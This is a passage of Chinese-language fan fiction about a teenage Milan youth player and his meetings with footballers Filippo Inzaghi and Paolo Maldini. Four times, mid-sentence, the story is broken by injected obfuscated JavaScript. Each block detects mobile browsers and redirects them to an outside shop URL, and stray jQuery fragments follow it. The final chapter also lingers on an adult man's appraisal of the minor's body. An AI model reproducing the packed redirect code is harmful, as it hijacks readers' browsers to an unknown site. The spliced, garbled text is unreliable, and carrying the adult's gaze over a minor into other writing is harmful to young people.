那颗金色的脑袋随着用力的节奏轻轻晃动,上午接近正午的阳光明晃晃地倾泻下来,毫无保留地浇在那头蓬松的卷发上,每一根发丝都像被点亮了,闪烁着近乎透明的浅金色光芒,随着动作和风,活泼地弹跳、飞扬,像某种羽毛格外柔软的小鸟正欢快地扑扇翅膀。
阳光甚至勾勒出他耳廓和颈后细腻的皮肤轮廓,泛着健康的光泽。
这景象毫无预兆地撞进因扎吉眼里,带着鲜活又略带滑稽的生命力——他,菲利波·因扎吉,正坐在一个陌生少年的自行车后座上,穿过米兰上午的街巷。
这与他平日里所面对的一切:训练、比赛、媒体的批判、乃至刚才那些令人不快的追问,都截然不同。它简单得有些直白,却又奇妙地轻松。
一种久违的、毫无杂质的轻松感,像这饱满的阳光一样,蓦地涨满他的胸膛。
嘴角不受控制地高高扬起,然后,一阵畅快淋漓的笑声便从他喉间滚了出来,清朗、明亮,带着许久未曾有过的、孩子气的开怀。
他一笑,环在洛伦佐腰上的胳膊就跟着轻颤。而洛伦佐的腰侧……恰好是全身最怕痒的地方之一。
“喂!别……别笑了!”洛伦佐忍不住开口,声音因为用力蹬车而有些喘,“你胳膊……动来动去……我的腰好痒!受不了了!”
因扎吉笑得更厉害了,胳膊的颤动也更明显。洛伦佐努力想扭动身体避开,车子立刻危险地蛇行了一下。
他一边拼命维持平衡,一边痒得恨不得缩起来,又累又痒,忍不住嚷嚷起来:“而且……我、我是第一次带人!你再笑,小心我们俩一起摔下去!”
洛伦佐喘了口气,继续“恐吓”,“我摔了没关系,反正现在没人认识。你可就不一样了,菲利波·因扎吉先生!
到时候报纸头条肯定不是你和皮耶罗到底和不和了,标题我都替他们想好了!‘尤文射手王因扎吉街头惊魂,四脚朝天为哪般?’配图就是你摔得鼻青脸肿的样子!绝对轰动!”
他这一通带着喘息的、生动形象的“威胁”,终于让因扎吉笑得缓过气来。他稍微收敛了笑意,手臂也稳了一些,但声音里还满是愉悦:“好了,不笑了,不笑了。前面路口左转,我记得那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265241|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里有家花店。我们就在那儿停下,怎么样?我让我弟弟蒙内开车过来接我。”
洛伦佐如蒙大赦,咬着牙把车蹬到了花店门口,几乎是踉跄着停了下来,双脚踏地,长长地吁了一口气,感觉腿都有点软了。
因扎吉没有告诉洛伦佐的是,其实他自己的车就停在离咖啡馆不远的一个收费停车场。如果真想强硬的摆脱那些球迷,他大可以直接离开去取车。
但不知道为什么,当这个金发小子骑着车、摆着故作潇洒的姿势折返回来,说出那句“一个人冒险不算冒险”时,那一瞬间的画面,竟让他觉得……非常帅气,甚至有点浪漫。
于是,他也鬼使神差地,冲动了一把,坐上了这辆看起来就不太靠谱的自行车后座。
两人先后从车上下来,站在花店门口。
洛伦佐的头发被风吹得乱七八糟,累得直喘气,脸颊也红扑扑的。因扎吉利落地跳下车,他打理过的短发也被风吹得有些凌乱,Polo衫的领口微敞,看起来比平时在镜头前“潦草”得多。
两人对视一眼,看到对方和自己一样略显狼狈的样子,都忍不住又笑了起来。这次是真正放松的、共享着一个秘密般的笑。
洛伦佐一边笑一边用手耙了耙自己乱翘的头发,带着孩子做了好事就应该得到奖励那般,理直气壮地说:“你看,不管怎么说,是我把你从那些‘魔爪’里解救出来的!所以,你可别生我刚才看热闹的气了。”
因扎吉本来也没把那点“偷听”放在心上,此刻心情更是轻松。他挑了挑眉,顺着洛伦佐的话开玩笑:“嗯,英勇的骑士解救被困的……好吧,随便什么。老套但有效。我原谅你的‘围观罪’了。”
他抬手,用指节轻轻蹭了一下自己笑得有些发酸的脸颊。
因扎吉让洛伦佐在门口稍等,自己走进了花店。几分钟后,他拿着一束包扎好的花走了出来:不是常见的玫瑰或百合,而是几枝淡紫色的鸢尾,搭配着白色的满天星和翠绿的枝叶,清新又别致。
“给,”他把花递给洛伦佐,脸上还带着笑,“谢礼。感谢你今天的‘冒险’,还有特别的自行车之旅。”
洛伦佐眼睛一亮,惊喜地接过花,低头闻了闻,鸢尾的香气很淡雅,“真好看!谢谢!”他小心地调整了一下花束在车筐里的位置,让它和衣服纸袋和平共处,然后抬头,眼睛亮晶晶地说:“我nonno做饭可厉害了,等我回去就把这个给他,看能不能做成鲜花饼!这样,今天的冒险就算得到‘宝箱奖励’了!”
因扎吉愣了一下,随即失笑。他给很多人送过花,庆祝胜利、表达感谢、或者仅仅是礼节,收到花的人反应大多是惊喜、羞涩或礼貌道谢。像这样立刻联想到“能吃”、“是冒险奖励”的,还真是头一个。这种独特的、充满生活趣味的联想,让他觉得新鲜又有趣。
两人交换了联系方式,因扎吉把号码存进了洛伦佐那款还挺新的手机里。没过多久,他弟弟西蒙尼的车到了。
“路上小心,洛伦佐。”因扎吉坐进车前,朝洛伦佐挥了挥手。
“你也是!再见,皮波!”洛伦佐也挥挥手,然后重新骑上自行车。车筐里装着新衣服、新首饰,还有露出一角的鸢尾。
因扎吉坐看着那个金发少年骑着自行车,轻快地汇入米兰午后的车流与人潮,背影渐渐远去。
那束花在车筐里一跳一跳,像是载着整个夏天末尾一段小小的、意外的奇遇,正驶向寻常而又温暖的归途。
而对于洛伦佐来说,除了新衣服和首饰,他的手机里还多了一个名为“Pippo”的联系人,以及一个关于“尤文图斯的因扎吉差点因为我摔个四脚朝天”的、可以偷偷乐好久的故事。
8. 要见面啦!
西蒙尼·因扎吉把车停在花店附近的路边,看着自己哥哥大步流星地走过来,拉开车门,带着一身阳光和还没散尽的笑意坐了进来。
“谢了,蒙内。”因扎吉系上安全带,动作干脆。
“不客气。直接回家?”西蒙尼发动车子,随口问道。他和因扎吉年龄相差不到三岁,从小一起踢球长大,虽然现在一个在尤文图斯,一个在拉齐奥,但这丝毫不影响他们私下里几乎天天通电话,分享趣事、吐槽教练,或者单纯聊聊晚餐吃了什么。
“不,先去福尔门蒂尼大街那边的停车场。”因扎吉说。
西蒙尼打了转向灯,开上主路,才反应过来:“停车场?你车在那儿?那你让我来接你干嘛?”他侧头看了哥哥一眼,表情有点困惑。虽然他们兄弟俩关系向来亲密,几乎无话不谈,但这种程度的“浪费对方时间”通常也需要个好理由。
因扎吉靠回座椅,目光望着窗外飞驰而过的街道,嘴角又弯了起来。这是蒙内,他跟蒙内之间没什么好隐瞒的。“嗯,车在停车场。不过刚才发生了一点小状况。”
他简单地把咖啡馆被球迷围堵、那个少年如何先逃跑又折返、故作潇洒地骑车载他“突围”的事情讲了一遍。省略了那些关于皮耶罗的烦人追问,重点放在了那个叫洛伦佐的男孩和他那辆自行车。
“所以你就上了他的车?”西蒙尼听完,等红灯时转头看向哥哥,眼里满是不可思议的笑意,“超级皮波,坐在一个陌生小孩的自行车后座上,在米兰街头逃亡?”
“别说得那么戏剧化。”因扎吉反驳,但自己脸上的笑意也藏不住,“不过,确实有点出乎意料。”
“何止是出乎意料!”西蒙尼笑出了声,“那孩子知道你是谁吗?”
“肯定的。他还警告我,要是害他摔了,报纸头条就会是我四脚朝天的样子,再也没人关心我和阿莱西奥的事了。”因扎吉复述着,眼里闪着光,和弟弟分享这段离奇的插曲。
西蒙尼摇头,笑容越来越大,“这经历也太有意思了。那孩子听起来真有趣。他多大了?”
“样子看起来还小,应该还是学生?”因扎吉想起阳光下那飞扬的金发和努力挺直的脊背,“挺有意思的小孩。”
兄弟俩在车里你一言我一语地讨论着这段奇遇,越说越可乐。
最后,西蒙尼总结道:“说真的,皮波,这要是个女孩儿,简直像是从某部意大利浪漫喜剧里剪出来的片段——落魄的男主角被热情洋溢的少女用自行车救走。”
因扎吉闻言大笑:“得了吧你!什么浪漫喜剧!不过……”他耸耸肩,笑意渐深,“确实挺难忘的。”
车子驶入停车场,因扎吉找到了自己的车。分开前,西蒙尼还特意叮嘱:“下次要是再有这种‘浪漫逃亡’,记得提前通知我,我给你配个摄影师!”
另一边,洛伦佐蹬着自行车回到家时,爷爷奶奶正在准备午餐。他兴高采烈地展示了新买的衣服和首饰,得到了两个老人眼光不错的夸奖,洛伦佐还给他们看了那束淡紫色的鸢尾。
“好漂亮的花,Lollo,谁送的?”斯特拉仔细瞧了瞧,去找花瓶装水。
“呃…一个算是今天帮了忙的人?”洛伦佐含糊地说,没有提及因扎吉的名字。
他并不是想刻意隐瞒,只是觉得,把别人可能有点狼狈的时刻,即使结局有趣,当作谈资四处宣扬,好像不太对。
爸爸妈妈虽然不能常伴身边,但每次通话或短暂相聚,还有爷爷奶奶日复一日的言传身教,都让洛伦佐明白不能随意传播可能让别人尴尬的事。这些教诲像细雨,慢慢渗进了他心里。
因扎吉当时显然不想被那样围着追问,自己偶然成了他脱身的一个借口,但这终究是对方的私事。
那束鸢尾被插在奶奶找出的一个简朴玻璃瓶里,洛伦佐拿着手机找好角度拍了几张照片:插在花瓶里的鸢尾花,旁边露出了一点新买的衬衫,光线很好,画面看起来干净又清新。以及放在桌上、刚从绒布袋里拿出来的那枚宽版银尾戒和袖扣。
最后一张则是他把新项链戴在脖子上的特写,只露出下巴和锁骨一带,焦点落在那个深蓝色琉璃吊坠上。
饭后,洛伦佐打开手机上的Ins。指尖在屏幕上敲敲打打,编辑内容。他的账号粉丝不多,主要是些青训营的队友、少数朋友,还有家人。
他喜欢在Instagram上分享那些小小的观察、开心的瞬间、或者单纯觉得好看的东西。比如奇特的树,Nonno做的某道摆盘特别好看的菜,街角睡着的胖咪,当然还有自己某天觉得不错的穿搭,对洛伦佐来说更像一种公开的日记。
“[图片][图片][图片]
今天米兰的阳光有冒险的味道。[树叶emoji]收获了新装备和一份意外的任务奖励。所以,今天的勇者评分是——A+![墨镜脸emoji] #米兰一日 #冒险家日记 #新皮肤get”
他加了个定位“布雷拉区”,然后点击发布。很快,就有几个青训队友和学校里认识的朋友点了赞,评论里出现了一串“???”、“什么冒险?”、“新衣服好看!”、“花哪来的?”。
洛伦佐看着不断增加的点赞和评论,心情很好地笑了笑,没有回复具体的细节。让大家猜去吧,真正的勇者总是深藏功与名。
发完ins,他捧着那瓶花去找爷爷福尔图内。“Nonno,你看这个花,能不能做成鲜花饼?就像我们有时用玫瑰花瓣做的那种?”
福尔图内正在看报纸,闻言从老花镜上方看向孙子,又仔细看了看那束淡紫色的鸢尾。“鸢尾啊……理论上有些品种的根茎可以用来提炼香料,但花瓣直接做饼……”
他摸了摸下巴,园林景观设计师和厨师的双重身份让他对植物和食物都有研究,“我没试过,也不确定这个品种的口感和安全性。不过,”他看到lollo亮起来的眼睛,笑了,“如果你想尝个鲜,我可以试着用一点点花瓣,混合一些可食用的玫瑰或桂花,做一点点实验品。但不能保证好吃哦?”
“太好了!谢谢nonno!”洛伦佐开心地说。他知道爷爷总会尽力满足他那些有时异想天开的要求。
几天后,洛伦佐抽空去了AC米兰设在米兰内洛基地附近的健康中心。梅尔舍曼先生是个态度温和的人,年纪不是很大,有着一张帅气面容。
他给洛伦佐进行了一系列精密的测量和测试:身高(精确到167.2cm)、体重、臂展、站立摸高、体脂率、肌肉含量分布、骨密度评估,甚至还有专注力反应测试等等。
过程有点枯燥,但洛伦佐乖乖配合。最终拿到了一份厚厚的、充满数据和曲线图的分析报告。
他自己看不太懂那些专业术语,梅尔舍曼耐心地给他解释了一些关键点:“生长激素水平还很活跃,身高不会低。”“你现在要多摄入优质营养。”“关节柔韧性非常好,这对你的技术风格是优势,但也要注意加强周边肌肉保护”。
等洛伦佐晕乎乎的把报告交给总教练瓦莱里奥,教练组围在一起研究了很久。“体脂率偏低,代谢水平很高。这是优势,但也意味着他需要更注意能量补充,特别是训练后。”体能教练补充。
“肌肉类型偏向快肌纤维比例高,结合技术特点,未来速度、爆发力和那脚传射,会很有看头。”射门教练在旁边摸着下巴暗爽。
不久后,一份为洛伦佐量身定制的、更加细致的营养补充方案和阶段性力量训练计划就出来了,甚至包括了睡眠和恢复建议。
九月刚刚开始,暑气未消,但空气中已渗入一丝极淡的、属于秋天的清澈。
2000-2001赛季的脚步临近,马尔蒂尼提前结束了自己的假期,回到了米兰。作为队长,新赛季开始前有许多事务需要他参与:球队集结、体检、商业活动、战术会议……他的生活重新被足球和责任的节奏填满。
他和洛伦佐差不多保持着每周至少联系一次的习惯,有时是信息,有时是电话,现在更多则是视频,他们默契的分享着双方生活的琐碎。
这次回来,马尔蒂尼也提前告诉了洛伦佐,并且问了洛伦佐的近况:“听说你重新做了身体测试?”
“嗯!梅尔舍曼先生说我像一棵正在努力抽条的小树,需要特别的肥料。”洛伦佐用了个比喻,“教练还给了新计划。对了,我最近在练头球,可球老是撞在我眉毛上面一点的地方,是不是我跳起来的时候闭眼太快了?”
马尔蒂尼自己都奇怪,和洛伦佐相处时,明明话题都是很普通的事情,但他的心情就是更轻松愉悦些。“可能不只是闭眼的问题。起跳时机和判断落点需要时间积累。你可以试试不看球,先判断它大概会飞到哪个区域,再决定怎么顶。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265242|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这样吗?”洛伦佐玩着自己的手指,若有所思。
“还有,赛季开始后,比赛录像会多起来。”可靠的米兰队长接着说,“不只是一线队的,其他联赛、其他前锋的比赛也值得看。不光是看他们怎么进球,更要看他们无球的时候怎么跑,怎么给自己和队友创造空间。有时候,不碰球的那几步,才是关键。”小孩听得认真,手都不动了!
通话结束前,马尔蒂尼还对洛伦佐发出了邀请:“对了,五号晚上有空吗?如果你方便,可以来我这里吃顿简单的晚饭。顺便,我把答应你的东西送给你。”
他说的是那块海玻璃。洛伦佐立刻答应了:“好的,队长!我超方便!”
挂掉电话,兴奋之余,洛伦佐忽然意识到一个问题:去队长家吃饭,还收礼物,他是不是应该准备点什么回礼?
他想起马尔蒂尼沉稳但偶尔又流露出温和笑意的样子,送什么好呢?太贵重的他买不起,也没必要;普通的水果或甜点又觉得太寻常。他想要送点特别的,能表达心意的。
洛伦佐纠结了好几天,连训练时都在分心想这个。
他们两个人聊过新赛季的准备,给过自己有关训练的小建议,分享过新奇的发现,也偶尔会提及家里孩子的趣事(“克里斯蒂安昨天非要用我的奖杯装他的乐高”)。他还记得,马尔蒂尼有一次随口说过,书房窗户朝西,下午的阳光有时太耀眼了。
在晚餐中,洛伦佐忽然灵光一闪,连吃的都不管了,就溜到爷爷的工具间,以前做景观设计时留下的。
他打开灯,在那些整齐收纳的杂物中翻找起来。最后找到一块裁切整齐的、边缘打磨光滑的透明玻璃板,大约A4纸大小。
然后,洛伦佐翻出画草图要用的油性马克笔,坐在桌子前,开始认真捣鼓起来。灯光下,他的表情专注,眉毛也微微皱着。
洛伦佐没有在纸上画,而是直接把画画在玻璃板背面,这样从正面看,线条会格外清晰,有种干净的穿透感。
他用细头的油性马克笔,小心翼翼地勾勒:右边是一扇简化的窗户,窗台线条干净。
窗台上,左边画了一个小小的、半圆形的花盆,里面是几笔代表薄荷的锯齿状叶子。花盆旁边放着一块小石头,石头被涂成了淡淡的蓝色,中间用白色点了一弯小小的月牙。接着他用银色笔画了一个极简的、盾牌和十字形状的米兰队徽放在旁边,洛伦佐已经尽力了。
窗户外,是几笔勾勒的、胖乎乎的云朵和一只简笔的小鸟。
而在窗户玻璃的中央,他留下了一小片空白。
最关键的一步来了。
他调了一点点非常稀的、几乎透明的天蓝色水彩,用手指尖蘸了一点点,然后轻轻按在那片玻璃中央的空白处,留下一个极淡的、仿佛呼吸痕迹般的圆形印记。
等它快干时,又在印记中心,用牙签蘸取更浓一点的白色水彩,点了一个小小的、不规则的圆点,像颗微型星星。
画完成后,从玻璃正面看去,一切都反了过来,但线条和那个淡淡的印记显得非常特别。
薄荷在盆里;云和鸟在窗外;石头和队徽在窗沿;而那个带着星点的淡蓝,正好在“玻璃”中央,像有人对着窗户呵了一口气,又或者,像从窗外看去,一片遥远的、蕴藏着什么的天空。
在玻璃板背面的左下角,从正面看就是右下角,他用很认真的笔迹写道:
「给保罗:窗户外面会有小鸟带着好玩的故事飞来;窗台上的蓝石头喜欢晒太阳,晒了就会高兴。薄荷说它会自己记得喝水。而徽章会一直守着你。玻璃上的雾气是很多很多人(包括Lollo)为你加油时从嘴里跑出来的!看不清楚的时候,擦一擦就好啦! 来自Lollo」
洛伦佐小心地把玻璃画用金蓝渐变的再生纸包好,放进了一个扁平的礼物盒里。
他有点忐忑,不知道马尔蒂尼会不会喜欢这个礼物。但他想,这至少是独一无二的,它不值什么钱,甚至有点莫名其妙,但它连接着只有他们两个人懂的微小瞬间,装着孩子气的祝愿和真诚的关心。
心头大事解决掉后,洛伦佐美滋滋的回去继续填饱咕咕叫的肚子,Nonno肯定做了夜宵,自己真是一个幸福的小孩!到了睡觉的点,怀着期待和一点点紧张,洛伦佐钻进了被窝。
明天,他将再次见到他的队长,并送上这份特别的回礼。
9. 穿什么好?
星期二下午的训练结束哨音一响,洛伦佐就像身上装了弹簧一样。
他没像往常那样慢悠悠地收拾水壶、和教练多聊两句、或者在那琢磨半天,而是抓起自己的东西就往更衣室冲。
“嘿!瞧瞧!我们enzo今天这是怎么了?”眼尖的费德里科第一个叫起来,用毛巾甩了下洛伦佐的后背,“跑这么快,赶着去约会啊?”
更衣室里顿时响起一片猴叫和口哨声。青训营的男孩们在这个年纪,对“约会”这个话题总是格外敏感又爱起哄。
洛伦佐把背包甩进自己的柜子,头也不回地反驳:“赶着回家吃饭!我要饿死了!”
“少来!”另一个叫卢卡的后卫凑过来,笑嘻嘻地揽住他脖子,“平时也没见你饿成这样。老实交代,是不是有姑娘在等你?哪个学校的?长什么样?”
“没有姑娘!”洛伦佐挣扎出来,脸上有点发热,不知是刚才训练的缘故还是被闹的。
他知道这帮家伙就是爱开玩笑,尤其是对他——谁让他总爱捣鼓自己,训练服里面都要搭件颜色协调的底衫,偶尔还会被看见在更衣室对着小镜子整理他那头麻烦的卷毛。
“我们enzo眼光可高了,”安德烈(那位被折磨过的门将)也加入了调侃队伍,一边擦着湿漉漉的头发一边说,“他只看好看的。对吧?上次在市中心,是不是盯着人家店里的模特看了十分钟?”
“我是在看衣服!”洛伦佐哇哇叫。
他确实喜欢看好看的东西,人也好,物也罢,漂亮的风景,精巧的设计……他觉得欣赏美是件很自然的事,就像口渴了要喝水一样。但这在队友们看来就成了可以打趣的素材。
“对对对,衣服。”费德里科学着他的语气,挤眉弄眼,“顺便也看了一下路过的那位美女的衣服,是不是?”更衣室里笑得更响了。
洛伦佐知道说不过他们,而且心里确实惦记着晚上的事。他快速冲了个澡,换上便装,头发还湿着就抓起背包。
“随你们怎么说,我得走了。”他冲出更衣室,身后留下一串善意的哄笑和“玩得开心点!”的喊声。
骑车回家的路上,风拂过微湿的头发,带来凉意。洛伦佐嘴角却忍不住翘着。
其实他不讨厌这种玩笑,甚至有点享受这种被伙伴们围着闹的感觉,热热闹闹的,是独处时没有的另一种快乐。
只要别太过分就行。
回到家,爷爷奶奶已经准备好了下午茶点。他塞了几块奶奶烤的杏仁脆饼,喝了半杯牛奶,就钻进了自己房间。
打开衣柜,洛伦佐想着晚的安排,去队长家吃便饭又不是正式场合,但也不能太随便。而且……他瞥了一眼桌上那个包好的扁盒子,礼物都准备好了,自己也得穿得像样点,不能丢份儿。
他最后选了一件浅绿色的纯棉T恤,颜色很柔和,像初春刚冒头的嫩叶。下身则是一条米白色的休闲短裤,长度在膝盖上方,恰到好处地露出他线条流畅的小腿。
得益于遗传,洛伦佐的跟腱很长,腿部线条看起来修长而富有力量感,这是他自己也挺满意的地方。
光这样似乎还有点单调。
洛伦佐拉开放配饰的抽屉,在一排丝巾和领巾中最后挑出一条黄绿相间的粗格纹方巾。
他熟练地将方巾折叠成长条,穿过短裤侧面的腰带环,在腰侧松松地系了个小结,垂下一小截,立刻给简单的搭配增添了几分随意的时髦感。
袜子选了同色系的森林绿中筒袜,和T恤呼应,鞋子则是刷得干干净净的米白色运动鞋。
对着镜子,洛伦佐把还有些潮气的头发用手指随意抓了抓,让它们呈现出自然的蓬松卷度。
然后从首饰盒里拿出几条链子,左手腕上,他叠戴了一条细细的银色蛇骨链和一条编织着墨绿丝线的皮绳手链;
右手则只戴了一条极简的、没有任何吊坠的粗粝感银链。脖子上空着,他想了想,没再加项链,觉得这样就够了。
收拾停当,洛伦佐拿了一个有着星星月亮图案的布袋装礼物盒,然后出了房间。
“哎呀,我们Lollo可真精神!”斯特拉看见他,眼睛一亮,“要去见很重要的人?”
“嗯,去马尔蒂尼队长家吃饭。”洛伦佐张开手转了个圈,“这样穿还行吗?”
“非常帅气!”福尔图内评价道,“需要我送你吗?或者让你nonna开车送你过去。”他知道孙子还没到能开车的年纪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265243|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不用了,Nonno!”洛伦佐连忙摆手,“我坐电车过去很方便,大概半小时就能到。我想自己坐车去。”他挺喜欢乘坐公共交通,很有趣。
而且,他也不想麻烦爷爷奶奶特意跑一趟,尤其是晚上。
“确定吗?你知道地址吧?路上小心,到了发个信息。”奶奶嘱咐道。
“知道啦,放心!”洛伦佐抱了抱奶奶,又朝爷爷挥挥手,挎上布袋出了门。
傍晚的空气比白天凉爽了些,但地面还残留着阳光炙烤过的余温。附近有人在聊天,语速很快地夹杂着些手势。
洛伦佐走到电车站,等了一会儿,漆成橙色的电车叮叮当当地驶来。他跳上车,刷了票,找了个靠窗的位置坐下。
车子开始向前行驶。洛伦佐抱着他的星星月亮布袋,脸朝向窗外,目光却像只不安分的小鸟,随着每一次车门开合,悄悄落在新上车的乘客身上。
这是他坐车时的一个小习惯,或者说,一种无法抑制的好奇。
每进来一个人,他的目光就会像被轻轻拽了一下似的,跟着挪过去,飞快地扫一眼。
要是遇见长得特别顺眼、穿着有意思或者气质独特的人,他便会自认为非常隐蔽地偷偷多看几秒。
洛伦佐从来不敢明目张胆地盯着陌生人看,那太冒犯了,而且他性格里其实有那么点容易害羞的底色,不像许多意大利男孩那样天生自带混不吝的热情。
麻烦的是,他脸上藏不住事。有时候自以为藏得很好,就会因为眼神太好奇,或者因为他自己意识不到的表情变化,而被对方逮个正着。
好在洛伦佐目光干净,大多数发现的人看着他那张还带着明显少年气的脸,多半不会觉得被冒犯。偶尔遇到性格特别开朗的,还会冲他笑一笑,说声“Ciao~ ”(你好)。
这时洛伦佐则会像受惊的兔子一样,飞快地回一个有点僵硬但绝对真诚的微笑,然后赶紧移开目光,心里咚咚直跳,既尴尬又有点奇妙的温暖。
电车摇摇晃晃,载着他穿过越来越安静的街区,最后在西区一个种满梧桐树的站台停了下来。
运气不错,一直到洛伦佐抱着布袋跳下车,他那些悄咪咪的观察都没有被当事人逮住。
10. 马尔蒂尼的目光
洛伦佐顺着记忆找过去,没费什么功夫。
那是一栋看起来很舒服的房子,外墙刷着干净的白色,线条简洁,带着个打理得整齐的小花园,不算夸张的豪宅,但看得出主人的品味和生活的优渥。
他刚在镂花铁门外站定,还没伸手去按门铃,就听到里面传来一阵短促兴奋的喊叫和啪嗒啪嗒的脚步声。
接着,一个小小的人影炮弹似的从屋里冲了出来,穿过花园小径,直接扑到了栅栏门上。
“Lollo!Lollo来了!” 是克里斯蒂安,马尔蒂尼的大儿子。
小家伙刚过四岁,整个人圆滚滚的,穿着件小恐龙T恤,脸蛋红扑扑,棕色头发有点乱,扒着铁门仰头看他,眼睛亮得惊人。
洛伦佐有点意外,但更多是惊喜。他拉开没锁的院门走进去,蹲下身,还没来得及说什么,克里斯蒂安已经毫不犹豫地扑上来,一把抱住了他的腿,像只树袋熊。
“嘿,克里斯。” 洛伦佐笑着,用空着的那只手轻轻揉了揉小家伙的脑袋。
他其实没怎么真正和克里斯蒂安相处过,来队长家的次数屈指可数,更多的是在视频里,马尔蒂尼有时会把小家伙抱到镜头前,洛伦佐就会做鬼脸逗他,或者给他看看自己正在玩的什么小玩意儿。
少年其实挺招小孩子喜欢。或许是因为他自己有时候也冒傻气,想法天马行空,很容易就能跟上小孩那跳跃的、不讲逻辑的“脑电波”。
不止小孩,连动物也是,去奶奶斯特拉的诊所时,那些来看病的猫猫狗狗,哪怕再紧张不安,也常常愿意让他摸摸头。
“抱!” 克里斯蒂安松开他的腿,举起两只小胖胳膊,要求明确。
“行啊。” 洛伦佐应得干脆。他把装着礼物的布袋换到左手,右手往克里斯蒂安腋下一抄,稍稍用力,就把小家伙稳稳当当地抱了起来,让他坐在自己的臂弯里。
四岁多孩子的重量对一般人可能有点沉,但对一个基本每天都在训练的足球少年来说,这甚至算不上一次力量训练。
洛伦佐看起来清瘦,那是骨架纤细和快速抽条造成的视觉效果。实际上,常年运动赋予了他一层匀称而柔韧的肌肉,平时藏在衣服下不显山露水,只在需要时,才会显现出那种内敛的力量感。
就算将来成年,洛伦佐的体格在外人看来也是那种敏捷灵巧的类型,肌肉会修长紧实,符合他灵动飘逸的球风。
克里斯蒂安被抱起来后一点儿也不安分,反而更兴奋了。
他把暖烘烘、带着点儿饼干甜香的小脸凑过来,在洛伦佐脸颊上蹭了蹭,然后发出了满足的咕哝声:“软软的!”,又好奇地用指尖碰了碰洛伦佐光滑的下巴和脸颊,“没有刺刺!”
洛伦佐被他蹭得有点痒,笑着偏了偏头。他的皮肤比普通欧洲人更细腻,加上还没到需要频繁刮胡子的年纪,触感很柔软。
而克里斯蒂安的爸爸,虽然在新赛季开始前就按要求刮干净了假期留的胡子,但摸上去还是比洛伦佐的脸扎手些。
蹭完了,克里斯蒂安又伸出小胖手,好奇地去揉洛伦佐那一头蓬松的卷发。他的头发颜色在小孩看来大概像阳光,或者童话书里王子的头发,手感也很有趣,卷卷的,弹弹的。
“你的头发像小羊!”克里斯蒂安宣布他的重大发现。
“是吗?那你就是小牧羊人啦~ ”洛伦佐一边抱着他往里走,一边认真地回复道,任由小家伙玩自己的头发。
“克里斯,不能这样。”一个温和但带着笑意的声音从门口传来。
小羊抬头,就看到房子的门廊下,保罗·马尔蒂尼正悠闲地靠在门框上。
男人显然刚回家不久,或许也刚打理过自己。他穿着简单的烟灰色针织衫和深色长裤,袖子随意地挽到小臂,身形挺拔。
此刻放松地倚在那儿,双手插在裤兜里,正看着门口这一幕。
马尔蒂尼的眼神很温和,嘴角噙着笑意,那是一种成熟的、看到孩子玩闹时自然而然的愉悦神情,稳重又带着点不易察觉的纵容。
“没关系,队长,他很轻。”洛伦佐抱着克里斯蒂安朝门口走去,小家伙在他怀里动来动去,咯咯地笑。
于是马尔蒂尼的目光,从儿子兴奋的小脸上,很自然地滑向洛伦佐。
那视线并不具有侵略性,却细致得惊人。他似乎养成了一个习惯,每次见到洛伦佐,目光总会不由自主地将对方完整的看一遍。
马尔蒂尼注意到他短裤下露出的那截小腿,肤色比印象中似乎深了那么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265244|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一点点,可能是这个假期晒的。
顺着少年腰间那抹随意的黄绿格纹往上,扫过T恤下平坦的腹部和随着呼吸微微起伏的胸膛,比假期前又展开了一些,属于青春期的变化悄无声息地进行着。
最后,马尔蒂尼的视线落在洛伦佐的脸上。少年因为抱着孩子和走路,脸颊泛着健康的淡红,金色的睫毛在说话时轻轻颤动,正低头笑着和克里斯蒂安说着什么,嘴唇一张一合。
男人看得很仔细,洛伦佐身上总有些有趣的、生动的、让人忍不住想去品味的东西。每次看到他,哪怕只是通过视频,都好像吹进一丝带着青草和阳光气息的风。
马尔蒂尼自己都没完全意识到,他早已习惯了从洛伦佐那些跳跃的话语、生动的表情和哪怕只是安静存在的样子里,汲取一种简单的、让人心情明亮的快乐。
也因此,关于洛伦佐的一切,他都乐于观察,并暗自欣赏。
